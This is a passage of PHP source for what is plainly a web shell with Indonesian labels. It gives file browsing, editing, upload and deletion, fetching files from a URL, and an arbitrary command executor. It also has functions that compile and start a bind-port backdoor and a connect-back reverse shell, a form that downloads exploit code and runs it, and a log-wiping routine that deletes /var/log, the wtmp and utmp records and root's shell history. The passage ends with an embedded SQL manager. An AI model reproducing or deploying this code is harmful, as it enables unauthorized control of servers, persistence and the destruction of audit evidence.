- </form></td></tr>
- <tr><td>Size</td>
- <td>".ukuran($file)."</td></tr>
- <tr><td>Permission</td>
- <td>".get_perms($file)." (".substr(sprintf('%o',fileperms($file)),-4).")</td></tr>
- <tr><td>Owner</td>
- <td>".$owner."</td></tr>
- <tr><td>Create time</td>
- <td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
- <tr><td>Last modified</td>
- <td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
- <tr><td>Last accessed</td>
- <td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
- <tr><td>Actions</td>
- <td><a href=\"?dm=$pwd&ed=$file\">Edit</a> <span class='infodmx'>||</span> <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">Rename</a> <span class='infodmx'>||</span> <a href=\"?dm=$pwd&delete=$file\" onclick=\"return confirm('Hapus $file ?')\">Delete</a> <span class='infodmx'>||</span> <a href=\"?dm=$pwd&dl=$file\">Download</a> <span class='infodmx'>||</span> <a href=\"?dm=$pwd&dlgzip=$file\">Gzip</a> <span class='infodmx'>||</span> <a href=\"?dm=$pwd&dlzip=$file\">Zip</a> </td></tr>
- <tr><td>View</td><td><a target=\"_blank\" href=\"?dm=".$pwd."&view=".$file."&type=phpsyntax\">Php Syntax</a> <span class='infodmx'>||</span> <a target=\"_blank\" href=\"?dm=".$pwd."&view=".$file."&type=code\">Highlight Code</a> <span class='infodmx'>||</span> <a target=\"_blank\" href=\"?dm=".$pwd."&view=".$file."\">Text</a> <span class='infodmx'>||</span> <a target=\"_blank\" href=\"?dm=".$pwd."&view=".$file."&type=image\">image</a></td></tr> </table></center>";
- if(isset($_GET['type'])&&($_GET['type'] == 'image')){
- echo'<br/><div style="text-align:center;margin:8px;">
- <img class="view_images" src="?dm='.$pwd.'&img='.$filn.'"></div>';
- }elseif(isset($_GET['type'])&&($_GET['type'] == 'embed')){
- }elseif(isset($_GET['type'])&&($_GET['type'] == 'phpsyntax')){
- echo"<div class=\"viewfile\">";
- echo phpSyntax($file);
- echo"</div>";
- }elseif(isset($_GET['type']) && ($_GET['type'] == 'code')){
- echo"<div class=\"viewfile\">";
- highlight_num($file);
- //@highlight_string(wordwrap(@file_get_contents($file),150,"\n"));
- echo"</div>";
- }else{
- echo"<div class=\"viewfile\">";
- echo nl2br(htmlentities(wordwrap(@file_get_contents($file),150,"\n")));
- echo"</div>";
- }
- }elseif(is_dir($_GET['view'])){
- echo showdir($pwd,$prompt);
- }
- }elseif(isset($_GET['ed'])&&($_GET['ed']!="")){
- if(isset($_POST['save'])) {
- $file=$_POST['saveas'];
- $content=magicboom($_POST['content']);
- if($filez=fopen($file,"w")) {
- $time=date("d-M-Y H:i",time());
- if(fwrite($filez,$content)) {
- $msg='file saved <span class="gaya">@</span> '.$time;
- }else{
- $msg='Failed to save';
- }
- fclose($filez);
- }else{
- $msg='Permission Denied';
- }
- }
- if(!isset($file))
- $file=$_GET['ed'];
- if($filez=fopen($file, "r")) {
- $content="";
- while(!feof($filez)) {
- //$content .= htmlentities(str_replace("","",fgets($filez)));
- $content.=htmlspecialchars(str_replace("","",fgets($filez)));
- }
- fclose($filez);
- }
- echo'<form action="?dm='.$pwd.'&ed='.$file.'" method="post">
- <table class="cmdbox">
- <tr><td colspan="2">
- <textarea class="output" name="content">'.$content.'</textarea></td>
- <tr>
- <td colspan="2">Nama/Lokasi File: '.$file.'
- <br />Ukuran: '.ukuran($file).'
- <br />Save as <input id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="'.$file.'" />
- <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> '.$msg.'</td></tr></table> </form>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='upload')){
- if(isset($_POST['uploadcomp'])){
- $tmp_name=$_FILES['file']['tmp_name'];
- if(is_uploaded_file($tmp_name)){
- $pindah=magicboom($_POST['path']).$_FILES['file']['name'];
- $stat=@move_uploaded_file($tmp_name,$pindah);
- if($stat){$msg="<br><span class='b11'>File Uploaded To $pindah <br> Ukuran: ".ukuran($pindah);}else{$msg="<br>Failed To Upload $fname";}
- }else{$msg="<br>Failed To Upload $fname </span>";}
- }elseif(isset($_POST['uploadurl'])){
- $namafile=download(trim($_POST['pilihan']),trim($_POST['wurl']));
- $pindah=magicboom($_POST['path']).$namafile;
- if(is_file($pindah)){$msg="<br><span class='b11'>File Uploaded To $pindah <br> Ukuran: ".ukuran($pindah);}else{ $msg="<br>Failed Upload $namafile </span>";}
- }
- echo'
- <form action="?dm='.$pwd.'&x=upload" enctype="multipart/form-data" method="post">
- <br><br><table class="tabnet" style="width:320px;padding:0 1px;">
- <tr><th colspan="2"><b> <span class="b12"> _UPLOAD FILE_</span></b></th></tr>
- <tr><td colspan="2"><p style="text-align:center;"><input style="color:lime;background-color: rgba(0, 0, 0, 0.3);
- background: rgba(0, 0, 0, 0.3);" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut"></p></td></tr>
- <tr><td colspan="2">
- <input type="text" class="inputz" style="width:99%;" name="path" value="'.$pwd.'" /></td></tr>
- </table>
- </form>
- <table class="tabnet" style="width:320px;padding:0 1px;">
- <tr><th colspan="2"><b><span class="b12"> _UPLOAD FROM URL_</span></b></th></tr>
- <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?dm='.$pwd.'&x=upload">
- <table>
- <tr>
- <td>URL:</td>
- <td><input class="inputz" type="text" name="wurl" style="width:250px;" placeholder="http://example.com/dir/file.zip" value=""></td></tr>
- <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="'.$pwd.'" /></td></tr>
- <tr><td colspan="2" align="center">
- <select name="pilihan">
- <option value="ccurl">Curl</option>
- <option value="wwget">Wget</option>
- <option value="wlynx">Lynx</option>
- <option value="wfread">Fread</option>
- <option value="wfetch">Fetch</option>
- <option value="wlinks">Links</option>
- <option value="wget">Get</option>
- <option value="wcurl">Curl 1</option>
- </select></td></tr>
- <td><td colspan="2" align="center"><input type="submit" name="uploadurl" class="inputzbut"></td></tr>
- </table></form></td> </tr></table>
- <div style="text-align:center;margin:2px;">'.$msg.'</div>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='ns')){
- if(isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')){
- $port=trim($_POST['port']);
- $passwrd=trim($_POST['bind_pass']);
- tulis("bdc.c",$port_bind_bd_c);
- exe("gcc -o bdc bdc.c");
- exe("chmod 777 bdc");
- @unlink("bdc.c");
- exe("./bdc ".$port." ".$passwrd." &");
- $scan=exe("ps aux");
- if(preg_match("./bdc $por",$scan)){
- $msg="<p>Process found running, backdoor setup successfully.</p>";
- }else{
- $msg="<p>Process not found running, backdoor not setup successfully.</p>";
- }
- }elseif(isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')){
- $port=trim($_POST['port']);
- $passwrd=trim($_POST['bind_pass']);
- tulis("bdp",$port_bind_bd_pl);
- exe("chmod 777 bdp");
- $p2=which("perl");
- exe($p2." bdp ".$port." &");
- $scan=exe("ps aux");
- if(preg_match("$p2 bdp $port",$scan)){
- $msg="<p>Process found running, backdoor setup successfully.</p>";
- }else{
- $msg="<p>Process not found running, backdoor not setup successfully.</p>";
- }
- }elseif(isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')){
- $ip=trim($_POST['ip']);
- $port=trim($_POST['backport']);
- tulis("bcc.c",$back_connect_c);
- exe("gcc -o bcc bcc.c");
- exe("chmod 777 bcc");
- @unlink("bcc.c");
- exe("./bcc ".$ip." ".$port." &");
- $msg="Now script try connect to ".$ip." port ".$port." ...";
- }elseif(isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')){
- $ip=trim($_POST['ip']);
- $port=trim($_POST['backport']);
- tulis_2("bcp",$back_connect);
- exe("chmod +x bcp");
- $p2=which("perl");
- exe($p2." bcp ".$ip." ".$port." &");
- sleep(1);
- $msg="Now script try connect to ".$ip." port ".$port." ...";
- unlink("bcp");
- }elseif(isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])){
- $pilihan=trim($_POST['pilihan']);
- $wurl=trim($_POST['wurl']);
- $namafile=download($pilihan,$wurl);
- if(is_file($namafile)){
- $msg=exe($wcmd);
- } else $msg="error: file not found $namafile";
- }
- ?>
- <table class="tabnet"><tr>
- <th>Port Binding</th>
- <th>Connect Back</th>
- <th>Load and Exploit</th></tr>
- <tr><td>
- <form method="post" actions="?dm=<?php echo $pwd; ?>&x=ns">
- <table><tr><td>Port</td>
- <td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
- <tr><td>Password</td>
- <td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
- <tr><td>Use</td>
- <td style="text-align:justify">
- <p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind !" style="width:120px"></td></tr></table>
- </form></td>
- <td> <form method="post" actions="?dm=<?php echo $pwd; ?>&x=ns">
- <table><tr><td>IP</td>
- <td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR'))?(getenv('REMOTE_ADDR')): ("127.0.0.1"));?>">
- </td>
- </tr>
- <tr><td>Port</td>
- <td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
- <tr><td>Use</td>
- <td style="text-align:justify">
- <p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect !" class="inputzbut" style="width:120px"></td></tr></table> </form> </td>
- <td> <form method="post" actions="?dm=<?php echo $pwd; ?>&x=ns">
- <table> <tr><td>url</td>
- <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
- <tr><td>cmd</td>
- <td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr>
- <tr><td><select size="1" class="inputz" name="pilihan">
- <option value="wwget">wget</option>
- <option value="wlynx">lynx</option>
- <option value="wfread">fread</option>
- <option value="wfetch">fetch</option>
- <option value="wlinks">links</option> <option value="wget">GET</option>
- <option value="wcurl">curl</option>
- </select></td>
- <td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go !" style="width:246px;"></td></tr></table></form </td></tr></table>
- <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
- <?php
- }elseif(isset($_GET['x'])&&($_GET['x']=='clog')){
- echo "<center><br/><br/><b><span class='b7'>O=:[ Clear Log System History ]:=O</span></b><br/><br/>";
- exe("rm -rf /tmp/logs");
- echo"Clear /tmp/logs <br/>";
- exe("rm -rf /root/.ksh_history");
- echo"Clear /root/.ksh_history<br/>";
- exe("rm -rf /root/.bash_history");
- echo"Clear /root/.bash_history<br/>";
- exe("rm -rf /root/.bash_logout");
- echo"Clear /root/.bash_logout<br/>";
- exe("rm -rf /usr/local/apache/logs");
- echo"Clear /usr/local/apache/log<br/>";
- exe("rm -rf /usr/local/apache/log");
- echo"Clear /usr/local/apache/log<br/>";
- exe("rm -rf /var/apache/logs");
- echo"Clear /var/apache/logs<br/>";
- exe("rm -rf /var/apache/log");
- echo"Clear /var/apache/log<br/>";
- exe("rm -rf /var/run/utmp");
- echo"Clear /var/run/utmp<br/>";
- exe("rm -rf /var/logs");
- echo"Clear /var/logs<br/>";
- exe("rm -rf /var/log");
- echo"Clear /var/log<br/>";
- exe("rm -rf /var/adm");
- echo"Clear /var/adm<br/>";
- exe("rm -rf /etc/wtmp");
- echo"Clear /etc/wtmp<br/>";
- exe("rm -rf /etc/utmp");
- echo"Clear /etc/utmp<br/>";
- exe("rm -rf /var/log/lastlog");
- echo"Clear /var/log/lastlog<br/>";
- exe("rm -rf /var/log/wtmp");
- echo"Clear /var/log/wtmp</center>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='shell')){
- echo'<form action="?dm='.$pwd.'&x=shell"method="post">
- <center><br><br><b><span class="b7">O=:[ Command Line ]:=O</span></b><br><br></center>
- <table class="cmdbox"><tr><td align="center" colspan="2">'.$prompt.'<input id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" />
- <input class="inputzbut" type="submit" value="" name="submitcmd"/></td></tr>';
- if(isset($_POST['submitcmd'])){
- if($_POST['cmd']){
- echo'<tr><td align="center" colspan="2"><textarea class="output">';
- echo exe($_POST['cmd']);
- echo'</textarea></td></tr>';
- }
- }
- echo'</table></form>';
- }elseif(isset($_GET['x']) && ($_GET['x'] == 'phpmyadmin')){
- echo'<center><br><br><span class="b7">O=:[ SQL MANAGER ]:=O<br><br> <center>';
- if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");
- global $b,$g,$Wb,$ec,$oc,$n,$Xc,$cd,$ba,$wd,$x,$ca,$Rd,$Qe,$zf,$Vg,$gd,$Ah,$Fh,$Oh,$Vh,$ia;
- if(!$_SERVER["REQUEST_URI"])
- $_SERVER["REQUEST_URI"]=$_SERVER["ORIG_PATH_INFO"];
- if(!strpos($_SERVER["REQUEST_URI"], '?')&&$_SERVER["QUERY_STRING"]!="")
- $_SERVER["REQUEST_URI"].="?$_SERVER[QUERY_STRING]";
- $ba=$_SERVER["HTTPS"]&&strcasecmp($_SERVER["HTTPS"], "off");
- @ini_set("session.use_trans_sid",false);
- session_cache_limiter("");
- if(!defined("SID")) {
- session_name("adminer_sid");
- $F=array(0,preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]),"",$ba);
- if(version_compare(PHP_VERSION, '5.2.0')>=0)
- $F[]=true;
- call_user_func_array('session_set_cookie_params',$F);
- session_start();
- }
- remove_slashes(array(&$_GET,&$_POST,&$_COOKIE),$Jc);
- if(get_magic_quotes_runtime()){
- set_magic_quotes_runtime(false);
- }
- function get_lang() {
- return 'en';
- }
- function lang($Eh,$He=null) {
- if(is_array($Eh)) {
- $Bf=($He==1?0:1);
- $Eh=$Eh[$Bf];
- }
- $Eh=str_replace("%d","%s",$Eh);
- $He=format_number($He);
- return sprintf($Eh,$He);
- }
- if(extension_loaded('pdo')) {
- class Min_PDO extends PDO {
- var $_result,$server_info,$affected_rows,$errno,$error;
- function __construct() {
- global $b;
- $Bf=array_search("SQL",$b->operators);
- if($Bf!==false)
- unset($b->operators[$Bf]);
- }
- function dsn($bc,$V,$G) {
- try {
- parent::__construct($bc,$V,$G);
- }
- catch(Exception $tc) {
- auth_error(h($tc->getMessage()));
- }
- $this->setAttribute(13, array('Min_PDOStatement'));
- $this->server_info=@$this->getAttribute(4);
- }
- function query($H,$Ph=false) {
- $I=parent::query($H);
- $this->error="";
- if(!$I) {
- list(,$this->errno,$this->error)=$this->errorInfo();
- return false;
- }
- $this->store_result($I);
- return $I;
- }
- function multi_query($H) {
- return $this->_result=$this->query($H);
- }
- function store_result($I=null) {
- if(!$I) {
- $I=$this->_result;
- if(!$I)
- return false;
- }
- if($I->columnCount()) {
- $I->num_rows=$I->rowCount();
- return $I;
- }
- $this->affected_rows=$I->rowCount();
- return true;
- }
- function next_result() {
- if(!$this->_result)
- return false;
- $this->_result->_offset=0;
- return @$this->_result->nextRowset();
- }
- function result($H,$o=0) {
- $I=$this->query($H);
- if(!$I)
- return false;
- $K=$I->fetch();
- return $K[$o];
- }
- }
- class Min_PDOStatement extends PDOStatement {
- var $_offset=0,$num_rows;
- function fetch_assoc() {
- return $this->fetch(2);
- }
- function fetch_row() {
- return $this->fetch(3);
- }
- function fetch_field() {
- $K=(object) $this->getColumnMeta($this->_offset++);
- $K->orgtable=$K->table;
- $K->orgname=$K->name;
- $K->charsetnr=(in_array("blob",(array) $K->flags)?63:0);
- return $K;
- }
- }
- }
- $Wb=array();
- class Min_SQL {
- var $_conn;
- function __construct($g) {
- $this->_conn=$g;
- }
- function select($R,$M,$Z,$ad,$af=array(),$z=1,$E=0,$Jf=false) {
- global $b,$x;
- $Cd=(count($ad)<count($M));
- $H=$b->selectQueryBuild($M,$Z,$ad,$af,$z,$E);
- if(!$H)
- $H="SELECT".limit(($_GET["page"]!="last"&&+$z&&$ad&&$Cd&&$x=="sql"?"SQL_CALC_FOUND_ROWS ":"").implode(",",$M)."\nFROM ".table($R),($Z?"\nWHERE ".implode(" AND ",$Z):"").($ad&&$Cd?"\nGROUP BY ".implode(",",$ad):"").($af?"\nORDER BY ".implode(",",$af):""),($z!=""?+$z:null),($E?$z*$E:0), "\n");
- $Sg=microtime(true);
- $J=$this->_conn->query($H);
- if($Jf)
- echo $b->selectQuery($H, format_time($Sg));
- return $J;
- }
- function delete($R,$Sf,$z=0) {
- $H="FROM ".table($R);
- return queries("DELETE".($z?limit1($H,$Sf):" $H$Sf"));
- }
- function update($R,$O,$Sf,$z=0,$Ag="\n") {
- $gi=array();
- foreach($O as $y=>$X)
- $gi[]="$y = $X";
- $H=table($R)." SET$Ag".implode(",$Ag",$gi);
- return queries("UPDATE".($z?limit1($H,$Sf):" $H$Sf"));
- }
- function insert($R,$O) {
- return queries("INSERT INTO ".table($R).($O?" (".implode(",",array_keys($O)).")\nVALUES (".implode(",",$O).")":" DEFAULT VALUES"));
- }
- function insertUpdate($R,$L,$Hf) {
- return false;
- }
- function begin() {
- return queries("BEGIN");
- }
- function commit() {
- return queries("COMMIT");
- }
- function rollback() {
- return queries("ROLLBACK");
- }
- }
- $Wb=array("server"=>"MySQL")+$Wb;
- if(!defined("DRIVER")) {
- $Ef=array("MySQLi","MySQL","PDO_MySQL");
- define("DRIVER","server");
- if(extension_loaded("mysqli")) {
- class Min_DB extends MySQLi {
- var $extension="MySQLi";
- function __construct() {
- parent::init();
- }
- function connect($N="",$V="",$G="",$k=null,$Af=null,$Lg=null) {
- mysqli_report(MYSQLI_REPORT_OFF);
- list($kd,$Af)=explode(":",$N, 2);
- $J=@$this->real_connect(($N!=""?$kd:ini_get("mysqli.default_host")),($N.$V!=""?$V:ini_get("mysqli.default_user")),($N.$V.$G!=""?$G:ini_get("mysqli.default_pw")),$k, (is_numeric($Af)?$Af:ini_get("mysqli.default_port")),(!is_numeric($Af)?$Af:$Lg));
- return $J;
- }
- function set_charset($Za) {
- if(parent::set_charset($Za))
- return true;
- parent::set_charset('utf8');
- return $this->query("SET NAMES $Za");
- }
- function result($H,$o=0) {
- $I=$this->query($H);
- if(!$I)
- return false;
- $K=$I->fetch_array();
- return $K[$o];
- }
- function quote($Q) {
- return "'".$this->escape_string($Q)."'";
- }
- }
- }elseif(extension_loaded("mysql")&&!(ini_get("sql.safe_mode")&&extension_loaded("pdo_mysql"))) {
- class Min_DB {
- var $extension="MySQL",$server_info,$affected_rows,$errno,$error,$_link,$_result;
- function connect($N,$V,$G) {
- $this->_link=@mysql_connect(($N!=""?$N:ini_get("mysql.default_host")),("$N$V"!=""?$V:ini_get("mysql.default_user")),("$N$V$G"!=""?$G:ini_get("mysql.default_password")), true, 131072);
- if($this->_link)
- $this->server_info=mysql_get_server_info($this->_link);
- else
- $this->error=mysql_error();
- return (bool) $this->_link;
- }
- function set_charset($Za) {
- if(function_exists('mysql_set_charset')) {
- if(mysql_set_charset($Za,$this->_link))
- return true;
- mysql_set_charset('utf8',$this->_link);
- }
- return $this->query("SET NAMES $Za");
- }
- function quote($Q) {
- return "'".mysql_real_escape_string($Q,$this->_link)."'";
- }
- function select_db($k) {
- return mysql_select_db($k,$this->_link);
- }
- function query($H,$Ph=false) {
- $I=@($Ph?mysql_unbuffered_query($H,$this->_link):mysql_query($H,$this->_link));
- $this->error="";
- if(!$I) {
- $this->errno=mysql_errno($this->_link);
- $this->error=mysql_error($this->_link);
- return false;
- }
- if($I===true) {
- $this->affected_rows=mysql_affected_rows($this->_link);
- $this->info=mysql_info($this->_link);
- return true;
- }
- return new Min_Result($I);
- }
- function multi_query($H) {
- return $this->_result=$this->query($H);
- }
- function store_result() {
- return $this->_result;
- }
- function next_result() {
- return false;
- }
- function result($H,$o=0) {
- $I=$this->query($H);
- if(!$I||!$I->num_rows)
- return false;
- return mysql_result($I->_result, 0,$o);
- }
- }
- class Min_Result {
- var $num_rows,$_result,$_offset=0;
- function __construct($I) {
- $this->_result=$I;
- $this->num_rows=mysql_num_rows($I);
- }
- function fetch_assoc() {
- return mysql_fetch_assoc($this->_result);
- }
- function fetch_row() {
- return mysql_fetch_row($this->_result);
- }
- function fetch_field() {
- $J=mysql_fetch_field($this->_result,$this->_offset++);
- $J->orgtable=$J->table;
- $J->orgname=$J->name;
- $J->charsetnr=($J->blob?63:0);
- return $J;
- }
- function __destruct() {
- mysql_free_result($this->_result);
- }
- }
- }elseif(extension_loaded("pdo_mysql")) {
- class Min_DB extends Min_PDO {
- var $extension="PDO_MySQL";
- function connect($N,$V,$G) {
- $this->dsn("mysql:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\\d)~',';port=\\1',$N)),$V,$G);
- return true;
- }
- function set_charset($Za) {
- $this->query("SET NAMES $Za");
- }
- function select_db($k) {
- return $this->query("USE ".idf_escape($k));
- }
- function query($H,$Ph=false) {
- $this->setAttribute(1000, !$Ph);
- return parent::query($H,$Ph);
- }
- }
- }
- class Min_Driver extends Min_SQL {
- function insert($R,$O) {
- return ($O?parent::insert($R,$O):queries("INSERT INTO ".table($R)." ()\nVALUES ()"));
- }
- function insertUpdate($R,$L,$Hf) {
- $f=array_keys(reset($L));
- $Ff="INSERT INTO ".table($R)." (".implode(",",$f).") VALUES\n";
- $gi=array();
- foreach($f as $y)
- $gi[$y]="$y = VALUES($y)";
- $Yg="\nON DUPLICATE KEY UPDATE ".implode(",",$gi);
- $gi=array();
- $Yd=0;
- foreach($L as $O) {
- $Y="(".implode(",",$O).")";
- if($gi&&(strlen($Ff)+$Yd+strlen($Y)+strlen($Yg)>1e6)) {
- if(!queries($Ff.implode(",\n",$gi).$Yg))
- return false;
- $gi=array();
- $Yd=0;
- }
- $gi[]=$Y;
- $Yd+=strlen($Y)+2;
- }
- return queries($Ff.implode(",\n",$gi).$Yg);
- }
- }
- function idf_escape($u) {
- return "`".str_replace("`","``",$u)."`";
- }
- function table($u) {
- return idf_escape($u);
- }
- function connect() {
- global $b,$Oh,$Vg;
- $g=new Min_DB;
- $j=$b->credentials();
- if($g->connect($j[0],$j[1],$j[2])) {
- $g->set_charset(charset($g));
- $g->query("SET sql_quote_show_create = 1, autocommit = 1");
- if(version_compare($g->server_info, '5.7.8')>=0) {
- $Vg['Strings'][]="json";
- $Oh["json"]=4294967295;
- }
- return $g;
- }
- $J=$g->error;
- if(function_exists('iconv')&&!is_utf8($J)&&strlen($sg=iconv("windows-1250","utf-8",$J))>strlen($J))
- $J=$sg;
- return $J;
- }
- function get_databases($Oc) {
- global $g;
- $J=get_session("dbs");
- if($J===null) {
- $H=($g->server_info>=5?"SELECT SCHEMA_NAME FROM information_schema.SCHEMATA":"SHOW DATABASES");
- $J=($Oc?slow_query($H):get_vals($H));
- restart_session();
- set_session("dbs",$J);
- stop_session();
- }
- return $J;
- }
- function limit($H,$Z,$z,$D=0,$Ag=" ") {
- return " $H$Z".($z!==null?$Ag."LIMIT $z".($D?" OFFSET $D":""):"");
- }
- function limit1($H,$Z) {
- return limit($H,$Z, 1);
- }
- function db_collation($m,$mb) {
- global $g;
- $J=null;
- $i=$g->result("SHOW CREATE DATABASE ".idf_escape($m), 1);
- if(preg_match('~ COLLATE ([^ ]+)~',$i,$B))
- $J=$B[1];
- elseif(preg_match('~ CHARACTER SET ([^ ]+)~',$i,$B))
- $J=$mb[$B[1]][-1];
- return $J;
- }
- function engines() {
- $J=array();
- foreach(get_rows("SHOW ENGINES") as $K) {
- if(preg_match("~YES|DEFAULT~",$K["Support"]))
- $J[]=$K["Engine"];
- }
- return $J;
- }
- function logged_user() {
- global $g;
- return $g->result("SELECT USER()");
- }
- function tables_list() {
- global $g;
- return get_key_vals($g->server_info>=5?"SELECT TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ORDER BY TABLE_NAME":"SHOW TABLES");
- }
- function count_tables($l) {
- $J=array();
- foreach($l as $m)
- $J[$m]=count(get_vals("SHOW TABLES IN ".idf_escape($m)));
- return $J;
- }
- function table_status($C="",$Dc=false) {
- global $g;
- $J=array();
- foreach(get_rows($Dc&&$g->server_info>=5?"SELECT TABLE_NAME AS Name, ENGINE AS Engine, TABLE_COMMENT AS Comment FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ".($C!=""?"AND TABLE_NAME = ".q($C):"ORDER BY Name"):"SHOW TABLE STATUS".($C!=""?" LIKE ".q(addcslashes($C, "%_\\")):"")) as $K) {
- if($K["Engine"]=="InnoDB")
- $K["Comment"]=preg_replace('~(?:(.+); )?InnoDB free: .*~','\\1',$K["Comment"]);
- if(!isset($K["Engine"]))
- $K["Comment"]="";
- if($C!="")
- return $K;
- $J[$K["Name"]]=$K;
- }
- return $J;
- }
- function is_view($S) {
- return $S["Engine"]===null;
- }
- function fk_support($S) {
- global $g;
- return preg_match('~InnoDB|IBMDB2I~i',$S["Engine"])||(preg_match('~NDB~i',$S["Engine"])&&version_compare($g->server_info, '5.6')>=0);
- }
- function fields($R) {
- $J=array();
- foreach(get_rows("SHOW FULL COLUMNS FROM ".table($R)) as $K) {
- preg_match('~^([^( ]+)(?:\\((.+)\\))?( unsigned)?( zerofill)?$~',$K["Type"],$B);
- $J[$K["Field"]]=array("field"=>$K["Field"],"full_type"=>$K["Type"],"type"=>$B[1],"length"=>$B[2],"unsigned"=>ltrim($B[3].$B[4]),"default"=>($K["Default"]!=""||preg_match("~char|set~",$B[1])?$K["Default"]:null),"null"=>($K["Null"]=="YES"),"auto_increment"=>($K["Extra"]=="auto_increment"),"on_update"=>(preg_match('~^on update (.+)~i',$K["Extra"],$B)?$B[1]:""),"collation"=>$K["Collation"],"privileges"=>array_flip(preg_split('~, *~',$K["Privileges"])),"comment"=>$K["Comment"],"primary"=>($K["Key"]=="PRI"));
- }
- return $J;
- }
- function indexes($R,$h=null) {
- $J=array();
- foreach(get_rows("SHOW INDEX FROM ".table($R),$h) as $K) {
- $C=$K["Key_name"];
- $J[$C]["type"]=($C=="PRIMARY"?"PRIMARY":($K["Index_type"]=="FULLTEXT"?"FULLTEXT":($K["Non_unique"]?($K["Index_type"]=="SPATIAL"?"SPATIAL":"INDEX"):"UNIQUE")));
- $J[$C]["columns"][]=$K["Column_name"];
- $J[$C]["lengths"][]=($K["Index_type"]=="SPATIAL"?null:$K["Sub_part"]);
- $J[$C]["descs"][]=null;
- }
- return $J;
- }
- function foreign_keys($R) {
- global $g,$Qe;
- static $yf='`(?:[^`]|``)+`';
- $J=array();
- $Ab=$g->result("SHOW CREATE TABLE ".table($R), 1);
- if($Ab) {
- preg_match_all("~CONSTRAINT ($yf) FOREIGN KEY ?\\(((?:$yf,? ?)+)\\) REFERENCES ($yf)(?:\\.($yf))? \\(((?:$yf,? ?)+)\\)(?: ON DELETE ($Qe))?(?: ON UPDATE ($Qe))?~",$Ab,$he, PREG_SET_ORDER);
- foreach($he as $B) {
- preg_match_all("~$yf~",$B[2],$Ng);
- preg_match_all("~$yf~",$B[5],$lh);
- $J[idf_unescape($B[1])]=array("db"=>idf_unescape($B[4]!=""?$B[3]:$B[4]),"table"=>idf_unescape($B[4]!=""?$B[4]:$B[3]),"source"=>array_map('idf_unescape',$Ng[0]),"target"=>array_map('idf_unescape',$lh[0]),"on_delete"=>($B[6]?$B[6]:"RESTRICT"),"on_update"=>($B[7]?$B[7]:"RESTRICT"));
- }
- }
- return $J;
- }
- function view($C) {
- global $g;
- return array("select"=>preg_replace('~^(?:[^`]|`[^`]*`)*\\s+AS\\s+~isU','',$g->result("SHOW CREATE VIEW ".table($C), 1)));
- }
- function collations() {
- $J=array();
- foreach(get_rows("SHOW COLLATION") as $K) {
- if($K["Default"])
- $J[$K["Charset"]][-1]=$K["Collation"];
- else
- $J[$K["Charset"]][]=$K["Collation"];
- }
- ksort($J);
- foreach($J as $y=>$X)
- asort($J[$y]);
- return $J;
- }
- function information_schema($m) {
- global $g;
- return ($g->server_info>=5&&$m=="information_schema")||($g->server_info>=5.5&&$m=="performance_schema");
- }
- function error() {
- global $g;
- return h(preg_replace('~^You have an error.*syntax to use~U', "Syntax error",$g->error));
- }
- function create_database($m,$d) {
- return queries("CREATE DATABASE ".idf_escape($m).($d?" COLLATE ".q($d):""));
- }
- function drop_databases($l) {
- $J=apply_queries("DROP DATABASE",$l, 'idf_escape');
- restart_session();
- set_session("dbs",null);
- return $J;
- }
- function rename_database($C,$d) {
- $J=false;
- if(create_database($C,$d)) {
- $fg=array();
- foreach(tables_list() as $R=>$U)
- $fg[]=table($R)." TO ".idf_escape($C).".".table($R);
- $J=(!$fg||queries("RENAME TABLE ".implode(",",$fg)));
- if($J)
- queries("DROP DATABASE ".idf_escape(DB));
- restart_session();
- set_session("dbs",null);
- }
- return $J;
- }
- function auto_increment() {
- $La=" PRIMARY KEY";
- if($_GET["create"]!=""&&$_POST["auto_increment_col"]) {
- foreach(indexes($_GET["create"]) as $v) {
- if(in_array($_POST["fields"][$_POST["auto_increment_col"]]["orig"],$v["columns"], true)) {
- $La="";
- break;
- }
- if($v["type"]=="PRIMARY")
- $La=" UNIQUE";
- }
- }
- return " AUTO_INCREMENT$La";
- }
- function alter_table($R,$C,$p,$Pc,$qb,$mc,$d,$Ka,$tf) {
- $c=array();
- foreach($p as $o)
